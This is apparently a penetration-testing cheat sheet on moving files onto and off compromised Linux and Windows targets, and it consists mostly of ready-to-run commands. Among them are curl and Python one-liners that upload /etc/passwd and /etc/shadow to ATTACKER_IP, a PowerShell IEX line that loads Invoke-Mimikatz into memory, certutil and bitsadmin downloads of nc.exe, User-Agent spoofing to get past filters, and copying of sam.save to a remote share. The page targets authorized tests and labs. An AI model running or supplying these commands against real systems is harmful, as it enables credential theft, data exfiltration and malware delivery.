> ## Documentation Index
> Fetch the complete documentation index at: https://0-x.dev/llms.txt
> Use this file to discover all available pages before exploring further.

# File Transfer

Getting files on or off a target is one of those things that comes up in almost every engagement. Pulling down enumeration scripts, moving tool binaries onto a box, exfiltrating loot. The method you reach for depends mostly on what's already installed on the target and what the network actually allows out.

> **Download**
>
> Pulling a file from your attack host onto the target, usually a script or binary you need to run there. The most common direction by far.

> **Upload**
>
> Pushing a file from the target back to you, typically loot like credential dumps or config files you want to exfiltrate.

> [!TIP]
>
> If no interpreter or transfer tool is available at all, built-in shell features like `/dev/tcp` on Linux or Base64 encoding can still move small files manually. Both are covered further down.

***

## Hosting a Transfer Server

Before downloading anything onto a target, you need something on your attack host to serve it from. A quick HTTP server is the usual choice, but FTP and upload-specific servers come in handy depending on direction and protocol availability.

**Python**

```bash theme={null}
# quick HTTP server for downloads, serves the current directory
python3 -m http.server          
```

For receiving uploads instead of just serving files, use the `uploadserver` module:

```bash theme={null}
python3 -m uploadserver 8000
```

If you need FTP specifically, `pyftpdlib` spins one up with write access enabled:

```bash theme={null}
sudo python3 -m pyftpdlib --port 21 --write
```

**PHP / Ruby / Node**

```bash theme={null}
php -S 0.0.0.0:8000
```

```bash theme={null}
ruby -run -ehttpd . -p8000
```

```bash theme={null}
npx http-server -p 8000
```

***

## Linux

On a Linux target, which tool you reach for usually comes down to what's actually installed. `curl` and `wget` cover most cases, but it's worth knowing the fallbacks for when neither is present.

### Download

```bash theme={null}
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh
curl -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
```

Pulling a file from another host you already have access to:

```bash theme={null}
scp user@target:/tmp/mimikatz.exe ./mimikatz.exe
```

When neither `curl` nor `wget` is available, the shell's own `/dev/tcp` device can fetch a file over a raw HTTP request:

```bash theme={null}
exec 3<>/dev/tcp/10.10.10.32/80
echo -e "GET /LinEnum.sh HTTP/1.1\n\n" >&3
cat <&3
```

### Upload

```bash theme={null}
curl http://ATTACKER_IP/uploads --upload-file <file>
```

Uploading more than one file in a single request:

```bash theme={null}
curl -X POST https://ATTACKER_IP/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow' --insecure
```

```bash theme={null}
scp ./bloodhound.zip user@10.10.10.150:/tmp/bloodhound.zip
```

### General Techniques

Mounting a remote share directly avoids a formal "transfer" step entirely, since files just become locally accessible.

```bash theme={null}
sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password test
```

```bash theme={null}
sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous
```

RDP clients can mount a local folder into the session, useful for pulling files off a Windows box through an existing RDP connection:

```bash theme={null}
xfreerdp /v:10.10.10.132 /d:<domain> /u:<username> /p:<password> /drive:linux,/home/user/files
```

> **Manual transfer via Base64 (no network tools available)**
>
> When nothing can reach the network directly but you have copy-paste access to the shell, Base64 lets you move a file through plain text.
>
> ```bash theme={null}
> cat <filename> | base64 -w 0; echo
> ```
>
> Reconstruct it on the other end:
>
> ```bash theme={null}
> echo '<BASE64_STRING>' | base64 -d > filename
> ```

> [!NOTE]
>
> [GTFOBins](https://gtfobins.github.io/) is the best reference for file transfer and other tricks hiding in binaries you wouldn't expect.

***

## Windows

Windows has more built-in download paths than Linux does, partly because PowerShell gives you a full scripting environment. The trade-off is that most of these are well known to defenders.

### Download

```powershell theme={null}
Invoke-WebRequest -Uri "<url>" -OutFile "<path>"
```

`certutil` is often overlooked by application allowlisting since it's a signed Microsoft binary, which is exactly why it's so heavily monitored now:

```powershell theme={null}
certutil -urlcache -f http://ATTACKER_IP/filename.exe filename.exe
```

`bitsadmin` queues the download through the Background Intelligent Transfer Service instead of a direct connection:

```powershell theme={null}
bitsadmin /transfer n http://ATTACKER_IP/nc.exe C:\Temp\nc.exe
```

Downloading and executing a script straight into memory, without ever writing it to disk:

```powershell theme={null}
IEX (New-Object Net.WebClient).DownloadString('https://ATTACKER_IP/Invoke-Mimikatz.ps1')
```

If a proxy or filter is blocking requests based on User-Agent, spoofing one as Chrome often gets through:

```powershell theme={null}
Invoke-WebRequest http://ATTACKER_IP/nc.exe -UserAgent [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome -OutFile "nc.exe"
```

### Upload

```powershell theme={null}
Invoke-WebRequest -Uri http://ATTACKER_IP:443 -Method POST -Body $b64
```

```cmd theme={null}
move sam.save \\10.10.15.16\CompData
```

Copying straight to a mounted WebDAV root behaves just like a normal file copy:

```cmd theme={null}
copy C:\Users\john\Desktop\SourceCode.zip \\ATTACKER_IP\DavWWWRoot\
```

### General Techniques

Mount a smb share

```cmd theme={null}
net use n: \\192.168.220.133\share /user:test test
```

> **Base64 round-trip on Windows**
>
> ```powershell theme={null}
> [Convert]::ToBase64String((Get-Content -path "C:\Windows\system32\drivers\etc\hosts" -Encoding byte))
> ```
>
> ```powershell theme={null}
> [IO.File]::WriteAllBytes("C:\Users\Public\file", [Convert]::FromBase64String("..."))
> ```

> [!NOTE]
>
> [LOLBAS](https://lolbas-project.github.io/) catalogs living-off-the-land binaries on Windows, including plenty of file transfer tricks beyond what's listed here.

***

## Other Languages

Worth keeping around for targets where neither a browser based download tool nor PowerShell is an option, just a bare interpreter.

**Python / PHP**

```python theme={null}
python3 -c 'import urllib.request;urllib.request.urlretrieve("https://ATTACKER_IP/LinEnum.sh", "LinEnum.sh")'
```

```php theme={null}
php -r '$file = file_get_contents("https://ATTACKER_IP/LinEnum.sh"); file_put_contents("LinEnum.sh",$file);'
```

Uploading a file with a Python one-liner, useful once you've got an upload server running:

```python theme={null}
python3 -c 'import requests;requests.post("http://ATTACKER_IP:8000/upload",files={"files":open("/etc/passwd","rb")})'
```

**Ruby / Perl**

```ruby theme={null}
ruby -e 'require "net/http"; File.write("LinEnum.sh", Net::HTTP.get(URI.parse("https://ATTACKER_IP/LinEnum.sh")))'
```

```perl theme={null}
perl -e 'use LWP::Simple; getstore("https://ATTACKER_IP/LinEnum.sh", "LinEnum.sh");'
```

**VBScript / JScript**

For the rare case where you've got code execution but only through the Windows Script Host, `cscript.exe` can drive either engine to fetch a file.

```vbscript theme={null}
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", WScript.Arguments.Item(0), False
xHttp.Send

with bStrm
  .type = 1
  .open
  .write xHttp.responseBody
  .savetofile WScript.Arguments.Item(1), 2
end with
```

```cmd theme={null}
cscript.exe /nologo wget.vbs https://ATTACKER_IP/PowerView.ps1 PowerView.ps1
```

***

## Quick Reference Tools

> **[GTFOBins](https://gtfobins.github.io/)**
>
> Unix binaries that can be abused for file transfer, privilege escalation, and more.

> **[LOLBAS](https://lolbas-project.github.io/)**
>
> The Windows equivalent of GTFOBins, cataloging built-in binaries with transfer and execution capabilities.

> **[PowerShell Download Cheat Sheet](https://gist.github.com/HarmJ0y/bb48307ffa663256e239)**
>
> HarmJ0y's reference of PowerShell download and execution one-liners.

> [!WARNING]
>
> Replace `ATTACKER_IP` and ports with your real listener or server details. For authorized penetration tests, CTFs, and lab environments only.


This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.